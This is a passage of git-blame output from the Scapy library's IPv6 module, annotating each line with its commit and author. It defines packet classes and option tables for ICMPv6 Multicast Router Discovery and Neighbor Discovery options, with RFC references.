1539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            way when IPv6 is the under layer with some specific keyword
1540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            like 'exthdr'. This would allow to keep compatibility with
1541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            providing IPv6 fields to be overloaded in fields_desc.
15420d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#
1543c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            At the moment, if user inserts an IPv6 Router alert option
1544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            none of the IPv6 default values of IPv6 layer will be set.
1545c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Advertisement(_ICMPv6):
1547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Advertisement"
1548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 151, icmp6types),
1549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("advinter", 20),
1550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None),
1551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ShortField("queryint", 0),
1552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ShortField("robustness", 0)]
1553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
1554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:8], s[8:]
1557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Solicitation(_ICMPv6):
1559c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Solicitation"
1560c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 152, icmp6types),
1561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("res", 0),
1562c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None) ]
1563c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
1564c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:4], s[4:]
1567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1568c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Termination(_ICMPv6):
1569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Termination"
1570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 153, icmp6types),
1571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("res", 0),
1572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None) ]
15730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}}
1574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:4], s[4:]
1577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################### ICMPv6 Neighbor Discovery (RFC 2461) ####################
1580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndopts = { 1: "Source Link-Layer Address",
1582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                2: "Target Link-Layer Address",
1583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                3: "Prefix Information",
1584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                4: "Redirected Header",
1585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                5: "MTU",
1586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                6: "NBMA Shortcut Limit Option", # RFC2491
1587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                7: "Advertisement Interval Option",
1588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                8: "Home Agent Information Option",
1589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                9: "Source Address List",
1590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               10: "Target Address List",
1591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               11: "CGA Option",            # RFC 3971
1592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               12: "RSA Signature Option",  # RFC 3971
1593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               13: "Timestamp Option",      # RFC 3971
1594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               14: "Nonce option",          # RFC 3971
1595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               15: "Trust Anchor Option",   # RFC 3971
1596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               16: "Certificate Option",    # RFC 3971
1597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               17: "IP Address Option",                             # RFC 4068
1598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               18: "New Router Prefix Information Option",          # RFC 4068
1599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               19: "Link-layer Address Option",                     # RFC 4068
16000d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               20: "Neighbor Advertisement Acknowledgement Option",
1601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               21: "CARD Request Option", # RFC 4065/4066/4067
1602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               22: "CARD Reply Option",   # RFC 4065/4066/4067
1603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               23: "MAP Option",          # RFC 4140
1604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               24: "Route Information Option",  # RFC 4191
1605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               25: "Recusive DNS Server Option",
1606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               26: "IPv6 Router Advertisement Flags Option"
1607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                }
16080d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr",
1610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   2: "ICMPv6NDOptDstLLAddr",
1611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   3: "ICMPv6NDOptPrefixInfo",
1612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   4: "ICMPv6NDOptRedirectedHdr",
1613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   5: "ICMPv6NDOptMTU",
1614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   6: "ICMPv6NDOptShortcutLimit",
1615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   7: "ICMPv6NDOptAdvInterval",
1616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   8: "ICMPv6NDOptHAInfo",
1617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   9: "ICMPv6NDOptSrcAddrList",
1618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  10: "ICMPv6NDOptTgtAddrList",
1619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #11: Do Me,
1620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #12: Do Me,
1621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #13: Do Me,
1622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #14: Do Me,
1623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #15: Do Me,
1624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #16: Do Me,
16250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                  17: "ICMPv6NDOptIPAddr",
1626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  18: "ICMPv6NDOptNewRtrPrefix",
1627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  19: "ICMPv6NDOptLLA",
1628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #18: Do Me,
1629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #19: Do Me,
1630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #20: Do Me,
1631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #21: Do Me,
1632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #22: Do Me,
1633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  23: "ICMPv6NDOptMAP",
1634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  24: "ICMPv6NDOptRouteInfo",
1635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  25: "ICMPv6NDOptRDNSS",
16362e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                  26: "ICMPv6NDOptEFA",
16372e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                  31: "ICMPv6NDOptDNSSL"
1638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  }
1639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NDGuessPayload:
1641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Dummy ND class that implements guess_payload_class()"
1642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def guess_payload_class(self,p):
1643c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if len(p) > 1:
1644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return get_cls(icmp6ndoptscls.get(ord(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ?
1645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Beginning of ICMPv6 Neighbor Discovery Options.
1648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet):
1650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented"
1651c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",None),
1652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len",None,length_of="data",fmt="B",
1653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+2),
1654c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("data","",
1655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.len-2) ]
1656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# NOTE: len includes type and len field. Expressed in unit of 8 bytes
1658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: Revoir le coup du ETHER_ANY
1659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet):
1660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address"
1661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 1),
1662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1663c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lladdr", ETHER_ANY) ]
16640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %lladdr%")
1666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr):
1668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address"
1669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 2
1670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet):
1672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Prefix Information"
1673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",3),
1674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",4),
1675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("prefixlen",None),
1676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("L",1,1),
1677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("A",1,1),
1678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("R",0,1),
1679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1",0,5),
1680291400c1b6f65363e33cc982aaf0d43d31cc424egpotter                    XIntField("validlifetime",0xffffffff),
1681291400c1b6f65363e33cc982aaf0d43d31cc424egpotter                    XIntField("preferredlifetime",0xffffffff),
1682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("res2",0x00000000),
1683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix","::") ]
16840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %prefix%")
1686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: We should also limit the size of included packet to something
1688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# like (initiallen - 40 - 2)
1689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TruncPktLenField(PacketLenField):
1690b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["cur_shift"]
1691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0):
1693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketLenField.__init__(self, name, default, cls, length_from=length_from)
1694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.cur_shift = cur_shift
1695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
1697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
1698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        i = self.m2i(pkt, s[:l])
1699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:],i
17004e957e091da2c111732db403e6db503f4b383157Jochen Bartl
1701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, m):
17024e957e091da2c111732db403e6db503f4b383157Jochen Bartl        s = None
1703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try: # It can happen we have sth shorter than 40 bytes
1704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s = self.cls(m)
1705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
17067b3e970663abd72697e17b70aba9943ae0dad404Phil            return conf.raw_layer(m)
1707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
1708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
1710c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = str(x)
1711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = len(s)
1712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        r = (l + self.cur_shift) % 8
17134e957e091da2c111732db403e6db503f4b383157Jochen Bartl        l = l - r
1714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:l]
1715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
1717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, i))
1718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
17194e957e091da2c111732db403e6db503f4b383157Jochen Bartl
1720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Faire un post_build pour le recalcul de la taille (en multiple de 8 octets)
1721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet):
1722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Redirected Header"
1723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",4),
1724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="pkt", fmt="B",
17254e957e091da2c111732db403e6db503f4b383157Jochen Bartl                                  adjust = lambda pkt,x:(x+8)/8),
17262a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("res", b"\x00"*6, 6),
17274e957e091da2c111732db403e6db503f4b383157Jochen Bartl                    TruncPktLenField("pkt", "", IPv6, 8,
17284e957e091da2c111732db403e6db503f4b383157Jochen Bartl                                     length_from = lambda pkt: 8*pkt.len-8) ]
1729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# See which value should be used for default MTU instead of 1280
1731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet):
1732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - MTU"
1733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",5),
1734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("res",0),
1736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mtu",1280)]
1737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491
1739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit"
1740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 6),
1741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("shortcutlim", 40), # XXX
1743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res1", 0),
1744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res2", 0) ]
17450d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet):
1747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Interval Advertisement"
1748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",7),
1749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", 0),
1751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("advint", 0) ]
17520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %advint% milliseconds")
1754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
17550d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet):
1756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Home Agent Information"
1757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",8),
1758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", 0),
1760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("pref", 0),
1761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("lifetime", 1)]
17620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %pref% %lifetime% seconds")
1764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 9  : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support
1766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support
1768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
176977132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet):  # RFC 4068
1770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)"
1771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",17),
1772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("optcode", 1, {1: "Old Care-Of Address",
1774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 2: "New Care-Of Address",
1775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 3: "NAR's IP address" }),
1776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
1777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res", 0),
1778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("addr", "::") ]
1779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068
1781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)"
1782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",18),
1783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("optcode", 0),
1785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
1786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res", 0),
1787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix", "::") ]
1788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP",
1790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        1: "LLA for the new AP",
1791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        2: "LLA of the MN",
1792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        3: "LLA of the NAR",
1793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        4: "LLA of the src of TrSolPr or PrRtAdv msg",
1794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        5: "AP identified by LLA belongs to current iface of router",
1795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        6: "No preifx info available for AP identified by the LLA",
1796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        7: "No fast handovers support for AP identified by the LLA" }
1797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
179877132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet):     # RFC 4068
1799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)"
1800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 19),
1801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("optcode", 0, _rfc4068_lla_optcode),
1803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lla", ETHER_ANY) ] # We only support ethernet
1804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
180577132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet):     # RFC 4140
1806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - MAP Option"
1807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 23),
1808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("dist", 1, 4),
1810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("pref", 15, 4), # highest availability
1811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("R", 1, 1),
18120d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitField("res", 0, 7),
1813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("validlifetime", 0xffffffff),
18140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    IP6Field("addr", "::") ]
1815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
18176057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass _IP6PrefixField(IP6Field):
1818b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["length_from"]
1819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
1820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        IP6Field.__init__(self, name, default)
1821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.length_from = lambda pkt: 8*(pkt.len - 1)
1822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
